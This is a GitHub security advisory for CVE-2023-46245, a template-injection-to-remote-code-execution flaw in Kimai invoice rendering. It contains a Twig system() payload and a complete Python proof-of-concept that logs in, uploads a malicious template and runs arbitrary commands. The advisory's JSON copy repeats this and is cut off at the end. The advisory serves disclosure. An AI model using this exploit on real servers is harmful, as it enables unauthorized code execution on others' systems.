GHSA-FJHG-96CP-6FCW

Vulnerability from github – Published: 2023-10-30 15:40 – Updated: 2023-10-30 15:40
VLAI?
Summary
Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File
Details

Description

The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities.

Snippet of Vulnerable Code:

public function render(array $timesheets, TimesheetQuery $query): Response
{
    ...
    $content = $this->twig->render($this->getTemplate(), array_merge([
        'entries' => $timesheets,
        'query' => $query,
        ...
    ], $this->getOptions($query)));
    ...
    $content = $this->converter->convertToPdf($content, $pdfOptions);
    ...
    return $this->createPdfResponse($content, $context);
}

The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.

In below, you can find the docker-compose file was used for this testing:

version: '3.5'
services:

  sqldb:
    image: mysql:5.7
    environment:
      - MYSQL_ROOT_HOST='%'
      - MYSQL_DATABASE=kimai
      - MYSQL_USER=kimaiuser
      - MYSQL_PASSWORD=kimaipassword
      - MYSQL_ROOT_PASSWORD=changemeplease

    ports:
      - 3336:3306
    volumes:
      - mysql:/var/lib/mysql
    command: --default-storage-engine innodb
    restart: unless-stopped
    healthcheck:
      test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1
      interval: 20s
      start_period: 10s
      timeout: 10s
      retries: 3

  nginx:
    image: tobybatch/nginx-fpm-reverse-proxy
    ports:
      - 8001:80
    volumes:
      - public:/opt/kimai/public:ro
    restart: unless-stopped
    depends_on:
      - kimai
    healthcheck:
      test:  wget --spider http://nginx/health || exit 1
      interval: 20s
      start_period: 10s
      timeout: 10s
      retries: 3

  kimai: # This is the latest FPM image of kimai
    image: kimai/kimai2:fpm-prod
    environment:
      - ADMINMAIL=admin@kimai.local
      - ADMINPASS=changemeplease
      - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai
      - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2
      - memory_limit=1024
    volumes:
      - public:/opt/kimai/public
      # - var:/opt/kimai/var
      # - ./ldap.conf:/etc/openldap/ldap.conf:z
      # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z
    restart: unless-stopped

  phpmyadmin:
    image: phpmyadmin
    restart: always
    ports:
      - 8081:80
    environment:
      - PMA_ARBITRARY=1



  postfix:
    image: catatnight/postfix:latest
    environment:
      maildomain: neontribe.co.uk
      smtp_user: kimai:kimai
    restart: unless-stopped

volumes:
    var:
    public:
    mysql:

Steps to Reproduce (Manually): 1- Upload a malicious Twig file to the server containing the following payload {{['id>/tmp/pwned']|map('system')|join}} 2- Trigger the SSTI vulnerability by downloading the invoices. 3- The malicious code gets executed, leading to RCE. 4- /tmp/pwned file will be created on the target system

I've also attached an automated script to ease up the process of reproducing: # Proof of Concept

import requests
import re
import string
import random
import sys

session = requests.session()
BASE_URL = sys.argv[1]


def generate(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))


def get_csrf(path, session):
    try:
        project_id = ""
        csrf_token = ""
        preview_id = ""
        template_ids = []
        activity_customer_list = []

        csrf_login_response = session.get(f"{BASE_URL}{path}").text

        # Extract CSRF Token
        pattern = re.compile(r'<input[^>]*?name=["\'].*?token[^"\']*["\'][^>]*?value=["\'](.*?)["\'][^>]*?>', re.IGNORECASE)
        match = pattern.search(csrf_login_response)
        if match:
            csrf_token = match.group(1)

        if "performSearch" in path:
            preview_pattern = re.compile(r'<div[^>]*id="preview-token"[^>]*data-value="(.*?)"[^>]*>', re.IGNORECASE)
            preview_match = preview_pattern.search(csrf_login_response)
            if preview_match:
                preview_id = preview_match.group(1)


        template_pattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE)
        template_matches = template_pattern.findall(csrf_login_response)
        if template_matches:
            template_ids = [int(id) for id in template_matches]

        if "timesheet" in path:
            option_pattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE)
            option_matches = option_pattern.findall(csrf_login_response)
            if option_matches:
                activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]

        if "project" in path or "activity" in path:
            project_id_match = re.search(r'<option value="(\d+)"[^>]*data-currency="EUR"[^>]*>', csrf_login_response)
            if project_id_match:
                project_id = project_id_match.group(1)

        return csrf_token, project_id, preview_id, template_ids, activity_customer_list

    except Exception as e:
        print(f"Error occurred: {e}")
        return None, None, None, None, None


def login(username,password,csrf,session):
    try:
        params = {"_username": username, "_password": password, "_csrf_token": csrf}
        login_response = session.post(f"{BASE_URL}/login_check", data=params, allow_redirects=True)
        if "I forgot my password" not in login_response.text:
            print(f"[+] Logged in: {username}")
            return session
        else:
            print("Wrong username,password", username)
            exit(1)
    except Exception as e:
        print(str(e))
        pass

def create_customer(token,name,session):
    try:

        data = {
            'customer_edit_form[name]': (None, name),
            'customer_edit_form[color]': (None, ''),
            'customer_edit_form[comment]': (None, 'xx'),
            'customer_edit_form[address]': (None, 'xx'),
            'customer_edit_form[company]': (None, ''),
            'customer_edit_form[number]': (None, '0002'),
            'customer_edit_form[vatId]': (None, ''),
            'customer_edit_form[country]': (None, 'DE'),
            'customer_edit_form[currency]': (None, 'EUR'),
            'customer_edit_form[timezone]': (None, 'UTC'),
            'customer_edit_form[contact]': (None, ''),
            'customer_edit_form[email]': (None, ''),
            'customer_edit_form[homepage]': (None, ''),
            'customer_edit_form[mobile]': (None, ''),
            'customer_edit_form[phone]': (None, ''),
            'customer_edit_form[fax]': (None, ''),
            'customer_edit_form[budget]': (None, '0.00'),
            'customer_edit_form[timeBudget]': (None, '0:00'),
            'customer_edit_form[budgetType]': (None, ''),
            'customer_edit_form[visible]': (None, '1'),
            'customer_edit_form[billable]': (None, '1'),
            'customer_edit_form[invoiceTemplate]': (None, ''),
            'customer_edit_form[invoiceText]': (None, ''),
            'customer_edit_form[_token]': (None, token),
        }


        response = session.post(f"{BASE_URL}/admin/customer/create", files=data)

    except Exception as e:
        print(str(e))


def create_project(token, name,project_id ,session):
    try:
        form_data = {
            'project_edit_form[name]': (None, name),
            'project_edit_form[color]': (None, ''),
            'project_edit_form[comment]': (None, ''),
            'project_edit_form[customer]': (None, project_id), 
            'project_edit_form[orderNumber]': (None, ''),
            'project_edit_form[orderDate]': (None, ''),
            'project_edit_form[start]': (None, ''),
            'project_edit_form[end]': (None, ''),
            'project_edit_form[budget]': (None, '0.00'),
            'project_edit_form[timeBudget]': (None, '0:00'),
            'project_edit_form[budgetType]': (None, ''),
            'project_edit_form[visible]': (None, '1'),
            'project_edit_form[billable]': (None, '1'),
            'project_edit_form[globalActivities]': (None, '1'),
            'project_edit_form[invoiceText]': (None, ''),
            'project_edit_form[_token]': (None, token)
        }

        response = session.post(f"{BASE_URL}/admin/project/create", files=form_data)

    except Exception as e:
        print(str(e))


def create_activity(token, name,project_id ,session):
    try:
        form_data = {
            'activity_edit_form[name]': (None, name),
            'activity_edit_form[color]': (None, ''),
            'activity_edit_form[comment]': (None, ''),
            'activity_edit_form[project]': (None, ''),
            'activity_edit_form[budget]': (None, '0.00'),
            'activity_edit_form[timeBudget]': (None, '0:00'),
            'activity_edit_form[budgetType]': (None, ''),
            'activity_edit_form[visible]': (None, '1'),
            'activity_edit_form[billable]': (None, '1'),
            'activity_edit_form[invoiceText]': (None, ''),
            'activity_edit_form[_token]': (None, token),
        }

        response = session.post(f"{BASE_URL}/admin/activity/create", files=form_data)

        if response.status_code == 201:
            print(f"[+] Activity created: {name}")

    except Exception as e:
        print(f"An error occurred: {str(e)}")

def upload_malicious_document(token,session):
    try:
        form_data = {
            'invoice_document_upload_form[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'),
            'invoice_document_upload_form[_token]': (None, token)
        }

        response = session.post(f"{BASE_URL}/invoice/document_upload", files=form_data)

        if ".pdf.twig" in response.text:
            print("[+] Twig uploaded successfully!")
        else:
            print("[-] Error while uploading, exiting..")
            exit(1)

    except Exception as e:
        print(f"An error occurred: {str(e)}")
import re

def create_malicious_template(token, name, session):
    try:
        data = {
            'invoice_template_form[name]': name,
            'invoice_template_form[title]': name,
            'invoice_template_form[company]': name,
            'invoice_template_form[vatId]': '',
            'invoice_template_form[address]': '',
            'invoice_template_form[contact]': '',
            'invoice_template_form[paymentTerms]': '',
            'invoice_template_form[paymentDetails]': '',
            'invoice_template_form[dueDays]': '30',
            'invoice_template_form[vat]': '0.000',
            'invoice_template_form[language]': 'en',
            'invoice_template_form[numberGenerator]': 'default',
            'invoice_template_form[renderer]': 'din',
            'invoice_template_form[calculator]': 'default',
            'invoice_template_form[_token]': token
        }

        response = session.post(f"{BASE_URL}/invoice/template/create", data=data)

        # Define the regex pattern to capture the template ID and match the name
        pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s*<td class="alwaysVisible col_name">{re.escape(name)}</td>', re.DOTALL)

        # Search the response text with the regex pattern
        match = pattern.search(response.text)

        if match:
            template_id = match.group(1)  # Extract the captured group
            print(f"[+] Malicious Template: {name}, Template ID: {template_id}")
            return template_id  # Return the captured template ID
        else:
            print("[-] Failed to capture the template ID")
            create_malicious_template(token,name,session)

    except Exception as e:
        print(f"An error occurred: {str(e)}")
        exit(1)




def create_timesheet(token, activity, project, session):
    form_data = {
            'timesheet_edit_form[begin_date]': (None, '01/01/1980'),
            'timesheet_edit_form[begin_time]': (None, '12:00 AM'),
            'timesheet_edit_form[duration]': (None, '0:15'),
            'timesheet_edit_form[end_time]': (None, '12:15 AM'),
            'timesheet_edit_form[customer]': (None, ''),
            'timesheet_edit_form[project]': (None, project),
            'timesheet_edit_form[activity]': (None, activity),
            'timesheet_edit_form[description]': (None, ''),
            'timesheet_edit_form[fixedRate]': (None, ''),
            'timesheet_edit_form[hourlyRate]': (None, ''),
            'timesheet_edit_form[billableMode]': (None, 'auto'),
            'timesheet_edit_form[_token]': (None, token)
        }
    response = session.post(f"{BASE_URL}/timesheet/create", files=form_data,allow_redirects=False)
    if response.status_code == 302:  # Changed to 200 as 301 is for redirection
        print(f"[+] Created a new timesheet")


##############################





# login
csrf, _, _, _, _ = get_csrf("/login", session) 
# login("admin", "password", csrf, session)
login(sys.argv[2],sys.argv[3],csrf,session)
# create new customer

get_customer_token, _, _, _, _ = get_csrf("/admin/customer/create", session)  
customer_name = generate()
create_customer(get_customer_token, customer_name, session)
# create new project with customer_name

get_project_token, customer_id, _, _, _ = get_csrf("/admin/project/create", session)  
project_name = generate()
create_project(get_project_token, project_name, customer_id, session)

# create new activity 
get_activity_token, project_id, _, _, _ = get_csrf("/admin/activity/create", session)
activity_name = generate()
create_activity(get_activity_token, activity_name, project_id, session)

# EXPLOIT
######################

# upload malicious file
upload_token, _, _, _, _ = get_csrf("/invoice/document_upload", session)
upload_malicious_document(upload_token, session)

# create malicious template to trigger the SSTI
get_template_token, _, _, _, _ = get_csrf("/invoice/template/create", session)
template = generate()
temp_id = create_malicious_template(get_template_token, template, session)

# create a timesheet with project_id and activity_id
activity_customer_list = get_csrf("/timesheet/create", session)[4]  # get the activity_customer_list from get_csrf function

print(f"[+] Constructing renderer URLs..")
# iterate through all relative project_ids and customer_id for exploit stabiliy
for activity_id, customer_id in activity_customer_list:
    csrf = get_csrf("/timesheet/create", session)[0]  # Update CSRF token for each iteration
    print(f"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}")
    create_timesheet(csrf, activity_id, customer_id, session)
    postData = {
        "searchTerm": "",
        "daterange": "",
        "state": "1",
        "billable": "0",
        "exported": "1",
        "orderBy": "begin",
        "order": "DESC",
        "exporter": "pdf"
    }
    # export timesheets so they appear in exported invoices
    export = session.post(f"{BASE_URL}/timesheet/export/", data=postData).text
    if "PDF-1.4" in export:
        csrf, _, _, _, _ = get_csrf("/invoice/", session)
        # get preview token to construct the preview URL to trigger SSTI
        csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}", session)
        for template_id in template_ids:
            rendererURL = f"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}"
            # trigger the payload by visiting the renderer URL 
            rce = session.get(rendererURL)

            if "PDF-1.4" in rce.text:
                print(rendererURL)
                print("[+] successfully executed payload")
                # save the pdf locally since rendered URL will expire as soon as we end the session
                pdf = f"{generate()}.pdf"
                with open(pdf,'wb') as pdfFile:
                    pdfFile.write(rce.content)
                    pdfFile.flush()
                    pdfFile.close()
                    print(f"[+] Saved results with name: {pdf}")
                exit(1)

print("[-] Failed to execute payload, try to trigger manually..")

which can be executed as such:

$ python3 spl0it.py http://localhost:8001/en admin password "ls -la"

this will download the rendered file which will contain the results of the RCE:

kimaiRCE

Impact

Remote Code Execution

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "kimai/kimai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-30T15:40:04Z",
    "nvd_published_at": "2023-10-31T16:15:09Z",
    "severity": "HIGH"
  },
  "details": "# Description\n\nThe laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software\u0027s PDF and HTML rendering functionalities.\n\nSnippet of Vulnerable Code: \n\n```php\npublic function render(array $timesheets, TimesheetQuery $query): Response\n{\n    ...\n    $content = $this-\u003etwig-\u003erender($this-\u003egetTemplate(), array_merge([\n        \u0027entries\u0027 =\u003e $timesheets,\n        \u0027query\u0027 =\u003e $query,\n        ...\n    ], $this-\u003egetOptions($query)));\n    ...\n    $content = $this-\u003econverter-\u003econvertToPdf($content, $pdfOptions);\n    ...\n    return $this-\u003ecreatePdfResponse($content, $context);\n}\n```\n\nThe vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.\n\nIn below, you can find the docker-compose file was used for this testing:\n\n```yaml\nversion: \u00273.5\u0027\nservices:\n\n  sqldb:\n    image: mysql:5.7\n    environment:\n      - MYSQL_ROOT_HOST=\u0027%\u0027\n      - MYSQL_DATABASE=kimai\n      - MYSQL_USER=kimaiuser\n      - MYSQL_PASSWORD=kimaipassword\n      - MYSQL_ROOT_PASSWORD=changemeplease\n\n    ports:\n      - 3336:3306\n    volumes:\n      - mysql:/var/lib/mysql\n    command: --default-storage-engine innodb\n    restart: unless-stopped\n    healthcheck:\n      test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  nginx:\n    image: tobybatch/nginx-fpm-reverse-proxy\n    ports:\n      - 8001:80\n    volumes:\n      - public:/opt/kimai/public:ro\n    restart: unless-stopped\n    depends_on:\n      - kimai\n    healthcheck:\n      test:  wget --spider http://nginx/health || exit 1\n      interval: 20s\n      start_period: 10s\n      timeout: 10s\n      retries: 3\n\n  kimai: # This is the latest FPM image of kimai\n    image: kimai/kimai2:fpm-prod\n    environment:\n      - ADMINMAIL=admin@kimai.local\n      - ADMINPASS=changemeplease\n      - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai\n      - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2\n      - memory_limit=1024\n    volumes:\n      - public:/opt/kimai/public\n      # - var:/opt/kimai/var\n      # - ./ldap.conf:/etc/openldap/ldap.conf:z\n      # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z\n    restart: unless-stopped\n\n  phpmyadmin:\n    image: phpmyadmin\n    restart: always\n    ports:\n      - 8081:80\n    environment:\n      - PMA_ARBITRARY=1\n\n\n\n  postfix:\n    image: catatnight/postfix:latest\n    environment:\n      maildomain: neontribe.co.uk\n      smtp_user: kimai:kimai\n    restart: unless-stopped\n\nvolumes:\n    var:\n    public:\n    mysql:\n```\n\nSteps to Reproduce (Manually):\n1- Upload a malicious Twig file to the server containing the following payload ```{{[\u0027id\u003e/tmp/pwned\u0027]|map(\u0027system\u0027)|join}}```\n2- Trigger the SSTI vulnerability by downloading the invoices.\n3- The malicious code gets executed, leading to RCE.\n4- /tmp/pwned file will be created on the target system\n\nI\u0027ve also attached an automated script to ease up the process of reproducing:\n # Proof of Concept\n```python\nimport requests\nimport re\nimport string\nimport random\nimport sys\n\nsession = requests.session()\nBASE_URL = sys.argv[1]\n\n\ndef generate(size=6, chars=string.ascii_uppercase + string.digits):\n    return \u0027\u0027.join(random.choice(chars) for _ in range(size))\n\n\ndef get_csrf(path, session):\n    try:\n        project_id = \"\"\n        csrf_token = \"\"\n        preview_id = \"\"\n        template_ids = []\n        activity_customer_list = []\n        \n        csrf_login_response = session.get(f\"{BASE_URL}{path}\").text\n        \n        # Extract CSRF Token\n        pattern = re.compile(r\u0027\u003cinput[^\u003e]*?name=[\"\\\u0027].*?token[^\"\\\u0027]*[\"\\\u0027][^\u003e]*?value=[\"\\\u0027](.*?)[\"\\\u0027][^\u003e]*?\u003e\u0027, re.IGNORECASE)\n        match = pattern.search(csrf_login_response)\n        if match:\n            csrf_token = match.group(1)\n        \n        if \"performSearch\" in path:\n            preview_pattern = re.compile(r\u0027\u003cdiv[^\u003e]*id=\"preview-token\"[^\u003e]*data-value=\"(.*?)\"[^\u003e]*\u003e\u0027, re.IGNORECASE)\n            preview_match = preview_pattern.search(csrf_login_response)\n            if preview_match:\n                preview_id = preview_match.group(1)\n\n        \n        template_pattern = re.compile(r\u0027\u003coption value=\"(\\d+)\" selected=\"selected\"\u003e\u0027, re.IGNORECASE)\n        template_matches = template_pattern.findall(csrf_login_response)\n        if template_matches:\n            template_ids = [int(id) for id in template_matches]\n        \n        if \"timesheet\" in path:\n            option_pattern = re.compile(r\u0027\u003coption value=\"(\\d+)\" data-customer=\"(\\d+)\" data-currency=\"EUR\"\u003e\u0027, re.IGNORECASE)\n            option_matches = option_pattern.findall(csrf_login_response)\n            if option_matches:\n                activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]\n        \n        if \"project\" in path or \"activity\" in path:\n            project_id_match = re.search(r\u0027\u003coption value=\"(\\d+)\"[^\u003e]*data-currency=\"EUR\"[^\u003e]*\u003e\u0027, csrf_login_response)\n            if project_id_match:\n                project_id = project_id_match.group(1)\n        \n        return csrf_token, project_id, preview_id, template_ids, activity_customer_list\n    \n    except Exception as e:\n        print(f\"Error occurred: {e}\")\n        return None, None, None, None, None\n\n\ndef login(username,password,csrf,session):\n    try:\n        params = {\"_username\": username, \"_password\": password, \"_csrf_token\": csrf}\n        login_response = session.post(f\"{BASE_URL}/login_check\", data=params, allow_redirects=True)\n        if \"I forgot my password\" not in login_response.text:\n            print(f\"[+] Logged in: {username}\")\n            return session\n        else:\n            print(\"Wrong username,password\", username)\n            exit(1)\n    except Exception as e:\n        print(str(e))\n        pass\n\ndef create_customer(token,name,session):\n    try:\n\n        data = {\n            \u0027customer_edit_form[name]\u0027: (None, name),\n            \u0027customer_edit_form[color]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[comment]\u0027: (None, \u0027xx\u0027),\n            \u0027customer_edit_form[address]\u0027: (None, \u0027xx\u0027),\n            \u0027customer_edit_form[company]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[number]\u0027: (None, \u00270002\u0027),\n            \u0027customer_edit_form[vatId]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[country]\u0027: (None, \u0027DE\u0027),\n            \u0027customer_edit_form[currency]\u0027: (None, \u0027EUR\u0027),\n            \u0027customer_edit_form[timezone]\u0027: (None, \u0027UTC\u0027),\n            \u0027customer_edit_form[contact]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[email]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[homepage]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[mobile]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[phone]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[fax]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n            \u0027customer_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n            \u0027customer_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[visible]\u0027: (None, \u00271\u0027),\n            \u0027customer_edit_form[billable]\u0027: (None, \u00271\u0027),\n            \u0027customer_edit_form[invoiceTemplate]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n            \u0027customer_edit_form[_token]\u0027: (None, token),\n        }\n\n\n        response = session.post(f\"{BASE_URL}/admin/customer/create\", files=data)\n\n    except Exception as e:\n        print(str(e))\n\n\ndef create_project(token, name,project_id ,session):\n    try:\n        form_data = {\n            \u0027project_edit_form[name]\u0027: (None, name),\n            \u0027project_edit_form[color]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[comment]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[customer]\u0027: (None, project_id), \n            \u0027project_edit_form[orderNumber]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[orderDate]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[start]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[end]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n            \u0027project_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n            \u0027project_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[visible]\u0027: (None, \u00271\u0027),\n            \u0027project_edit_form[billable]\u0027: (None, \u00271\u0027),\n            \u0027project_edit_form[globalActivities]\u0027: (None, \u00271\u0027),\n            \u0027project_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n            \u0027project_edit_form[_token]\u0027: (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}/admin/project/create\", files=form_data)\n        \n    except Exception as e:\n        print(str(e))\n\n\ndef create_activity(token, name,project_id ,session):\n    try:\n        form_data = {\n            \u0027activity_edit_form[name]\u0027: (None, name),\n            \u0027activity_edit_form[color]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[comment]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[project]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n            \u0027activity_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n            \u0027activity_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[visible]\u0027: (None, \u00271\u0027),\n            \u0027activity_edit_form[billable]\u0027: (None, \u00271\u0027),\n            \u0027activity_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n            \u0027activity_edit_form[_token]\u0027: (None, token),\n        }\n        \n        response = session.post(f\"{BASE_URL}/admin/activity/create\", files=form_data)\n        \n        if response.status_code == 201:\n            print(f\"[+] Activity created: {name}\")\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n\ndef upload_malicious_document(token,session):\n    try:\n        form_data = {\n            \u0027invoice_document_upload_form[document]\u0027: (\u0027din.pdf.twig\u0027, f\"\u003chtml\u003e\u003cbody\u003e{{{{[\u0027{sys.argv[4]}\u0027]|map(\u0027system\u0027)|join}}}}\u003c/body\u003e\u003c/html\u003e\", \u0027text/x-twig\u0027),\n            \u0027invoice_document_upload_form[_token]\u0027: (None, token)\n        }\n        \n        response = session.post(f\"{BASE_URL}/invoice/document_upload\", files=form_data)\n        \n        if \".pdf.twig\" in response.text:\n            print(\"[+] Twig uploaded successfully!\")\n        else:\n            print(\"[-] Error while uploading, exiting..\")\n            exit(1)\n\n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\nimport re\n\ndef create_malicious_template(token, name, session):\n    try:\n        data = {\n            \u0027invoice_template_form[name]\u0027: name,\n            \u0027invoice_template_form[title]\u0027: name,\n            \u0027invoice_template_form[company]\u0027: name,\n            \u0027invoice_template_form[vatId]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[address]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[contact]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[paymentTerms]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[paymentDetails]\u0027: \u0027\u0027,\n            \u0027invoice_template_form[dueDays]\u0027: \u002730\u0027,\n            \u0027invoice_template_form[vat]\u0027: \u00270.000\u0027,\n            \u0027invoice_template_form[language]\u0027: \u0027en\u0027,\n            \u0027invoice_template_form[numberGenerator]\u0027: \u0027default\u0027,\n            \u0027invoice_template_form[renderer]\u0027: \u0027din\u0027,\n            \u0027invoice_template_form[calculator]\u0027: \u0027default\u0027,\n            \u0027invoice_template_form[_token]\u0027: token\n        }\n        \n        response = session.post(f\"{BASE_URL}/invoice/template/create\", data=data)\n        \n        # Define the regex pattern to capture the template ID and match the name\n        pattern = re.compile(fr\u0027\u003ctr class=\"modal-ajax-form open-edit\" data-href=\"/en/invoice/template/(\\d+)/edit\"\u003e\\s*\u003ctd class=\"alwaysVisible col_name\"\u003e{re.escape(name)}\u003c/td\u003e\u0027, re.DOTALL)\n        \n        # Search the response text with the regex pattern\n        match = pattern.search(response.text)\n        \n        if match:\n            template_id = match.group(1)  # Extract the captured group\n            print(f\"[+] Malicious Template: {name}, Template ID: {template_id}\")\n            return template_id  # Return the captured template ID\n        else:\n            print(\"[-] Failed to capture the template ID\")\n            create_malicious_template(token,name,session)\n        \n    except Exception as e:\n        print(f\"An error occurred: {str(e)}\")\n        exit(1)\n\n\n\n\ndef create_timesheet(token, activity, project, session):\n    form_data = {\n            \u0027timesheet_edit_form[begin_date]\u0027: (None, \u002701/01/1980\u0027),\n            \u0027timesheet_edit_form[begin_time]\u0027: (None, \u002712:00 AM\u0027),\n            \u0027timesheet_edit_form[duration]\u0027: (None, \u00270:15\u0027),\n            \u0027timesheet_edit_form[end_time]\u0027: (None, \u002712:15 AM\u0027),\n            \u0027timesheet_edit_form[customer]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[project]\u0027: (None, project),\n            \u0027timesheet_edit_form[activity]\u0027: (None, activity),\n            \u0027timesheet_edit_form[description]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[fixedRate]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[hourlyRate]\u0027: (None, \u0027\u0027),\n            \u0027timesheet_edit_form[billableMode]\u0027: (None, \u0027auto\u0027),\n            \u0027timesheet_edit_form[_token]\u0027: (None, token)\n        }\n    response = session.post(f\"{BASE_URL}/timesheet/create\", files=form_data,allow_redirects=False)\n    if response.status_code == 302:  # Changed to 200 as 301 is for redirection\n        print(f\"[+] Created a new timesheet\")\n\n\n##############################\n\n\n\n\n\n# login\ncsrf, _, _, _, _ = get_csrf(\"/login\", session) \n# login(\"admin\", \"password\", csrf, session)\nlogin(sys.argv[2],sys.argv[3],csrf,session)\n# create new customer\n\nget_customer_token, _, _, _, _ = get_csrf(\"/admin/customer/create\", session)  \ncustomer_name = generate()\ncreate_customer(get_customer_token, customer_name, session)\n# create new project with customer_name\n\nget_project_token, customer_id, _, _, _ = get_csrf(\"/admin/project/create\", session)  \nproject_name = generate()\ncreate_project(get_project_token, project_name, customer_id, session)\n\n# create new activity \nget_activity_token, project_id, _, _, _ = get_csrf(\"/admin/activity/create\", session)\nactivity_name = generate()\ncreate_activity(get_activity_token, activity_name, project_id, session)\n\n# EXPLOIT\n######################\n\n# upload malicious file\nupload_token, _, _, _, _ = get_csrf(\"/invoice/document_upload\", session)\nupload_malicious_document(upload_token, session)\n\n# create malicious template to trigger the SSTI\nget_template_token, _, _, _, _ = get_csrf(\"/invoice/template/create\", session)\ntemplate = generate()\ntemp_id = create_malicious_template(get_template_token, template, session)\n\n# create a timesheet with project_id and activity_id\nactivity_customer_list = get_csrf(\"/timesheet/create\", session)[4]  # get the activity_customer_list from get_csrf function\n\nprint(f\"[+] Constructing renderer URLs..\")\n# iterate through all relative project_ids and customer_id for exploit stabiliy\nfor activity_id, customer_id in activity_customer_list:\n    csrf = get_csrf(\"/timesheet/create\", session)[0]  # Update CSRF token for each iteration\n    print(f\"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}\")\n    create_timesheet(csrf, activity_id, customer_id, session)\n    postData = {\n        \"searchTerm\": \"\",\n        \"daterange\": \"\",\n        \"state\": \"1\",\n        \"billable\": \"0\",\n        \"exported\": \"1\",\n        \"orderBy\": \"begin\",\n        \"order\": \"DESC\",\n        \"exporter\": \"pdf\"\n    }\n    # export timesheets so they appear in exported invoices\n    export = session.post(f\"{BASE_URL}/timesheet/export/\", data=postData).text\n    if \"PDF-1.4\" in export:\n        csrf, _, _, _, _ = get_csrf(\"/invoice/\", session)\n        # get preview token to construct the preview URL to trigger SSTI\n        csrf, project_id, preview_id, template_ids, activity_customer_list = 